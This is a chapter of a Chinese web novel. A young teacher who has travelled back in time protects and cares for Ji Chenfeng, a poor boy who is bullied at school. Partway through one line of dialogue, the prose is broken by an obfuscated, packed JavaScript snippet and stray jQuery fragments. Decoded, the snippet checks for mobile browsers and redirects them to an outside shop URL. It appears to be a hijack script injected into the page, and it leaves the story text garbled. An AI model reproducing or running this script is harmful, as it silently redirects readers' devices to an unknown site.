趁着陆菲菲他们哄孩子睡觉,林幼清出去逛街散步,顺便了解这个时代的情况。
街边一些年轻女性穿着吊带短裙,大大方方展现自我,身上充满后人没有的热辣鲜活。
滑冰场是当下深受年轻人喜爱的场所之一。
头顶的霓虹灯折射出五颜六色的光芒,场内播放当下最流行的歌曲,年轻的男男女女正在肆意享受芳华。
林幼清长这么大,还没滑过这种旱冰,她站在场外有些跃跃欲试,只是一个人来这种场所,想到安全问题最终还是放弃了。
旁边隐约传来一阵嬉笑打骂声,她扭头看去,是几个小男孩在欺负另一个小男孩。
一个胖乎乎的男孩伸手将瘦弱的男孩推倒在地,大声嘲笑:“你是不是每天都捡垃圾吃啊,怪不得身上这么臭!”
林幼清眉头紧皱,立即出声制止:“你们在干什么!”
她将小男孩扶起来,视线扫过那三个孩子,“怎么能动手打人呢?”
小胖子白了她一眼,“关你什么事。”
林幼清将小男孩护在身后,冷声道:“喜欢欺负人是吧,行,我报警让警察叔叔抓你去劳改。”
见有人替对方出头,小胖子怕了,但嘴还很硬:“谁怕你啊,丑八怪没人爱!”说完扭头就往溜冰场里跑,见状,另外两个小孩也跟着跑了。
她转过身轻声安抚男孩,“你别怕。怎么一个人出来,你爸爸妈妈呢?”男孩没有回答,低声说了句谢谢。
他手里提着一个大塑料袋,里面装满塑料瓶和纸盒,应该是家庭经济困难,出来捡垃圾帮家里挣点钱。
这种孩子,最容易受欺负。
林幼清耐心叮嘱:“下次要是还碰到这种情况,你一个人反抗不了的话,就赶紧跑,或者寻求身边其他大人的帮助,别任由他们欺负。”萍乡相逢,她也帮不了太多。
说完,小男孩拎着垃圾袋继续往前走。
袋子里还有剩余的空间,还能接着捡东西。他将地上的矿泉水瓶踩扁后,捡起塞入袋子里。
他回头看向林幼清早已远去的背影,几秒后,拎着垃圾袋前进。
......
转天早晨。
林幼清瘫在沙发上双眼无神。半夜小幼清频繁惊醒哭闹,他们轮流哄睡,一夜都没睡好。
她喃喃自语:“原来我小时候这么闹腾吗?”
陆菲菲吐出一口浊气,“慢慢熬吧,长大就好了。”
三人齐齐叹气。
明天周一,陆菲菲母亲会在工作日的白天过来帮忙照看孩子,等林宝俊下班回来她再回家。
总在家待着不是长宜之计,况且外婆过来她也不方便在家,林幼清决定找份工作。
得知她是京市师范毕业的双学位研究生,主修心理学,辅修教育学,并且在海市重点高中当老师时,林宝俊高兴得不行,真是祖坟冒青烟。
陆菲菲面露骄傲,“柚子这是随我。”
林宝俊没考上大学,高中毕业后便进入社会工作,陆菲菲是大学生,她这么说也没毛病。
林宝俊猛亲她一口,“感谢老婆,给我生了个这么聪明漂亮的女儿。”
陆菲菲脸上飞起一抹红晕,她掐了林宝俊腰间的软肉,“别胡闹,柚子还在呢。”
林幼清神态自若,“您二位随意,不用管我。”她早习惯自家父母时不时在面前撒狗粮的场面。
陆菲菲转回话题,“既然这样,那你接着当老师不就好了。”
“可是我现在什么证件都没有。”
她手一挥:“你外公和榕县小学校长是好兄弟,让他帮你问问看。”
说完,陆菲菲立即打电话过去,把老人家哄高兴后,才提出自己有个闺蜜想当代课老师,让他帮忙引荐。
外公对女儿向来有求必应,没多久,就回电告诉她让人明天去面试。
转天早上,林幼清按照约定到达榕县小学校长办公室。经过面试后,校长乐呵呵地表示:“你就当一年级三班的语文代课老师吧,那个老师正好下周休产假,你下周一再过来。”
小地方教育资源匮乏,师资力量薄弱,有些老师不过是大专生,甚至没有教师资格证。
如今有个口齿清晰,文化素质高、教学水平有保障的人才送上门来,他不收就是傻子。
*
接下来的几天,林幼清白天出门找个地方呆着,准备教案,晚上再回去。
一周后,榕县小学,一年级三班教室。
班里有二十五名学生,人不算少。林幼清做完自我介绍,开始念花名册认人。
“纪尘封.......”
她抬眼一眼,竟然是那个捡垃圾的小男孩,真巧。名字挺特别,她不禁想到纪承风,两个名字还挺相近。
纪尘封坐座位上,他很瘦,皮肤有些苍白,衣服陈旧但干净,眼神全然没有儿童的童真,而是淡漠。
林幼清朝他笑笑,他面无表情地移开视线。唔,还挺冷酷。
她接着往下念名字,发现那个小胖子也在。“王耀祖”,名字很符合世人对熊孩子的刻板印象。
见她摇身一变成为老师,王耀祖眼神飘忽不定,没敢看她。
学生们年龄虽小,但作为经济落后的县城孩子,很多人在家里都会干些力所能及的活,绝大多数都比较懂事。
林幼清快速建立起奖罚分明的制度,加上她年轻漂亮,讲起课来生动有趣,很快获得孩子们的喜爱。
即便有个别调皮的学生,管理起来也并不算难。
课后,回到教师办公室,她向数学老师打听纪尘封的情况,他和王耀祖一个班,这个问题值得警惕。
张老师年近四十,戴着一副黑框眼镜,看起来很严肃。
“纪尘封家庭情况比较复杂,他只有妈妈一个亲人,经济很困难。他很懂事,学习也很刻苦,是个可怜孩子。”
林幼清心里五味杂陈,尽管能猜到他的家庭情况不会太好,可没想到会那么艰难。
她接着问:“王耀祖呢?”没老实多久就开始捣蛋。
“他就是一个被家里惯坏的孩子。”
说起王耀祖张老师就头疼,“他家里有些钱,经常调皮捣蛋欺负同学,你一批评他,他就回家哭诉扭曲事实,他妈妈马上就来找学校。”
林幼清默默记下这些情况。
回到家后,为了庆祝她顺利工作,林宝俊特意做了她最爱吃的糖醋排骨。
林幼清提议,“周末我去看看外公外婆吧,以你们朋友的身份。”她是二老帮忙带大的,祖孙之间感情很好,理应过去探望。
一家三口,很默契地没有提及奶奶那边。
*
南方的冷是入骨的湿冷,没有暖气,人们只能靠衣物保暖。
林幼清在教室里巡视学生写字,走到纪尘封身边时忍不住皱眉,他穿着单薄的外套,里面是件高领毛衣,手指冻得紫红。
即便如此,他写出来的字体依旧端正,林幼清夸赞道:“字写得不错,继续加油。”
手中的笔停顿两秒,纪尘封又继续埋头书写。
她走到王耀祖旁边,发现他在作业纸上乱写乱画,问:“你怎么不写字?”
他摇头晃脑:“写这个有什么用啊。”
林幼清耐心劝导:“我们要先学会认字、写字,才能慢慢掌握知识,长大后才有能力实现梦想。”
“我的梦想就是不上学。”王耀祖满脸无所谓。
她很头疼,对他说:“明天早上让你家长过来一趟。”
他们需要好好沟通探讨王耀祖身上的问题,教育孩子不是老师单方面的事,家长也该承担起相应责任。
王耀祖朝林幼清的背影做了个鬼脸,他才不叫家长来呢。
课间休息。
见纪尘封去上厕所,王耀祖眼珠一转,立刻跟上去。
“看见我这件
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13472851|141913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
外套了吗?”他趾高气扬地炫耀,“这是我爸爸给我买的新衣服。”
纪尘封没搭理他,想绕过他离开。王耀祖挡住去路,故作关心地问:“怎么穿那么少,你爸爸没有给你买新衣服吗?”
紧接着又嘲讽,“噢,忘了你没有爸爸,哈哈。”
纪尘封眼神冰冷,怒气在眼底萦绕。他握紧拳头怒视对方,想到什么后又慢慢松开。
“胆小鬼。”王耀祖拍拍屁股离开。
厕所在楼层走廊的尽头,天空阴沉,没有阳光照射进来。纪尘封站在阴影下,咬着牙很不甘心。
凭什么,凭什么让这种人有父母疼爱,吃穿不愁。
老天真是不公平。
*
林幼清刚踏出校门便看到林宝俊倚着摩托车,冲她挥手。
“爸,你怎么来了?”她很惊喜。
林宝俊在一家修车店里当修车师傅,“今天店里不忙,老板就让我先下班了。”
摩托车没开出去多远,她眼尖地看到纪尘封背着书包自己走在路上。
“停车。”
摩托车停在他身边,林幼清问:“你怎么一个人走,你妈妈没来接你吗?”
纪尘封很平静,“没有。”
天那么冷,他衣服单薄,回到家怕是要头疼脑热。林幼清忍不住说:“上来吧,老师送你回家。”
“谢谢老师,不用了,我自己能回家。”
她不赞同道:“你穿那么少,要是回去冻感冒了身体怎么办,多影响学习,还得打针吃药。”
纪尘封犹豫了,他不想麻烦老师,又怕生病花钱。
见状,林幼清果断将他带上车,“开车花不了多少时间,你家在哪?”
纪尘封坐在中间,小声说:“榕林街高记粉店旁边。”
林宝俊:“小朋友坐稳了啊。”
车载着孩子,他的速度比平常慢点。作为土生土长的榕县人,他对各个大街小巷了如指掌,几分钟后就开到地方。
看到旁边有一家药店,林幼清对纪尘封说:“先在这里等会老师。”
纪尘封不明所以,乖乖站在原地。
不一会儿,林幼清买完药回来,将手中的冻疮膏给他,叮嘱:“回去把这个药涂手上,一天三次,别忘了。”
上课那会她就注意到了,他手上有冻疮。
纪尘封摆手拒绝:“老师我不要。”
她边将膏药塞进他口袋,边说,“这是老师给认真听讲的学生的礼物,安心收下吧,以后继续努力学习,就算是回报老师了。”
最终,纪尘封还是收下了这份特殊的礼物。他翻来覆去地看着那只膏药,胸口像是被充气的气球,涨涨的,连脚步都轻快起来。
除了妈妈,林老师是第一个这么关心他的人。
文欣还没下班回家,纪尘封踩着小板凳洗完青菜,切好下锅,不一会儿就传出阵阵菜香。
饭做得差不多时,文欣回来了,见儿子在厨房忙碌心疼道:“快去写作业吧,妈妈来做饭。”
一盘油菜,一盘茄烧肉末上桌。她将肉末多的部分拨到儿子碗里,“你还在长身体,多吃点。”
“妈妈,你也吃。”
文欣皮肤白皙容貌清丽,眉宇间带着隐隐的忧愁,显得更弱不禁风。见儿子乖巧懂事,既心疼又欣慰。
这些年不是没人追求她,只是她的心早已被爱情伤透,同时也怕继父对纪尘封不好,便一直没有再找结婚对象。
纪尘封掏出那只冻疮膏,递给她,“妈妈,这是老师送的药膏,你待会用了吧。手就不会再疼再痒了。”
“哪个老师送的?”文欣疑惑。
“新来的语文代课老师。她说我学习刻苦,奖励给我的。”
文欣情不自禁地感慨,“你们老师人真好,你以后要听她的话,好好读书知道吗?”
纪尘封认真点头,不用妈妈说,他也会乖乖听林老师的话。